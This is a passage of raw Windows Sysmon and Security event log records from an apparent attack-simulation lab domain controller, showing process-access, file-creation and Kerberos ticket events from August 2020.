11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010DC980800}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010DC980800}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5694,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.197\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010DC980800}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.197","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010DC980800}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5695,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:34.806\r\nProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nProcessId: 4580\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.dll\r\nCreationUtcTime: 2020-08-07 11:56:34.806","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:34.806","ProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.dll","CreationUtcTime":"2020-08-07 11:56:34.806","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222212,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nProcessId: 4580\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:34.806","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","ProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.cmdline","CreationUtcTime":"2020-08-07 11:56:34.806","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222213,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount 